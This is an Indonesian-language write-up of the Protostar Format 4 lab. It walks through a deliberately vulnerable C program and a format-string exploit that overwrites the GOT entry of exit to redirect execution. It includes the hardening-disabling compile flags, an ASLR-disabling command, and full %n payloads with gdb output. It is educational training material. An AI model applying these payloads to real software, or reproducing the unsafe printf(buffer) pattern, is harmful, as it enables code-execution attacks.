Protostar Format 4
Alat dan Bahan
- Fail: vuln.c
- Kompiler: GCC
- Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
- Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c
Penjelasan
-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
Berdasarkan source code diatas terdapat kelemahan format string pada fungsi printf
. Tujuan akhirnya adalah mengalihkan panggilan fungsi exit
menjadi ke fungsi hello
dengan menimpa global offset table.
Gali informasi mengenai alamat yang diperlukan.
objdump -tR vuln | grep -P '( exit| hello)'
080484eb g F .text 00000020 hello
...
0804a01c R_386_JUMP_SLOT exit@GLIBC_2.0
Cari offset
yang tepat antara input dengan lokasi yang dikenali.
$ python -c 'print "AAAA"+"%x."*3+"%x"' | tr -d "\n" | ./vuln
AAAA200.f7f005a0.f7f4afaa.41414141
Berdasarkan ouput diatas maka nilai offset = 4
.
Untuk menimpa GOT pada fungsi exit
maka gunakan Increment Payload dibawah ini:
$ python -c 'print "\x1c\xa0\x04\x08"+"\x1d\xa0\x04\x08"+"\x1e\xa0\x04\x08"+"\x1f\xa0\x04\x08"+"%4$n"' | tr -d "\n" > PAY
gdb -q vuln
...
gdb-peda$ r < PAY
Starting program: /home/dummy/Private/progress/format-string/vuln < PAY
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x10
EBX: 0x0
ECX: 0xf7fa4ac0 --> 0x0
EDX: 0xf7fa6870 --> 0x0
ESI: 0xf7fa5000 --> 0x1b1db0
EDI: 0xf7fa5000 --> 0x1b1db0
EBP: 0xffffd428 --> 0xffffd438 --> 0x0
ESP: 0xffffd20c --> 0x804854d (<main>: lea ecx,[esp+0x4])
EIP: 0x10
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x10
[------------------------------------stack-------------------------------------]
0000| 0xffffd20c --> 0x804854d (<main>: lea ecx,[esp+0x4])
0004| 0xffffd210 --> 0x1
0008| 0xffffd214 --> 0x200
0012| 0xffffd218 --> 0xf7fa55a0 --> 0xfbad2098
0016| 0xffffd21c --> 0xf7feffaa (<malloc+26>: add esp,0x18)
0020| 0xffffd220 --> 0x804a01c --> 0x10
0024| 0xffffd224 --> 0x804a01d --> 0x40000000 ('')
0028| 0xffffd228 --> 0x804a01e --> 0xb5400000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000010 in ?? ()
gdb-peda$ x/1x 0x0804a01c
0x804a01c: 0x00000010
Didapatkanlah selisih pada byte awal sebesar 0x10
. Hitung selisih positif dengan pasangan:
Format:
byte[3]-diff
byte[2]-byte[3]
byte[1]-byte[2]
byte[0]-byte[1]
Misal:
0x080484eb
p 0xeb - 0x00000010
p 0x84 - 0xeb
p 0x184 - 0xeb
p 0x04 - 0x84
p 0x104 - 0x84
p 0x08 - 0x04
p 0x108 - 0x04
gdb-peda$ x/1x 0x0804a01c
0x804a01c: 0x00000010
gdb-peda$ p 0xeb - 0x00000010
$8 = 0xdb
gdb-peda$ p 0x84 - 0xeb
$9 = 0xffffff99
gdb-peda$ p 0x184 - 0xeb
$10 = 0x99
gdb-peda$ p 0x04 - 0x84
$11 = 0xffffff80
gdb-peda$ p 0x104 - 0x84
$12 = 0x80
gdb-peda$ p 0x08 - 0x04
$13 = 0x4
gdb-peda$ p 0x108 - 0x04
$14 = 0x104
Eksploitasi
Untuk mengeksploitasi enumerasi saja Payload selanjutnya.
$ python -c 'print "\x1c\xa0\x04\x08"+"\x1d\xa0\x04\x08"+"\x1e\xa0\x04\x08"+"\x1f\xa0\x04\x08"+"%219x%4$n"+"%153x%5$n"+"%128x%6$n"+"%260x%7$n"' | tr -d "\n" | ./vuln
...
804a01c
code execution redirected! you win
Referensi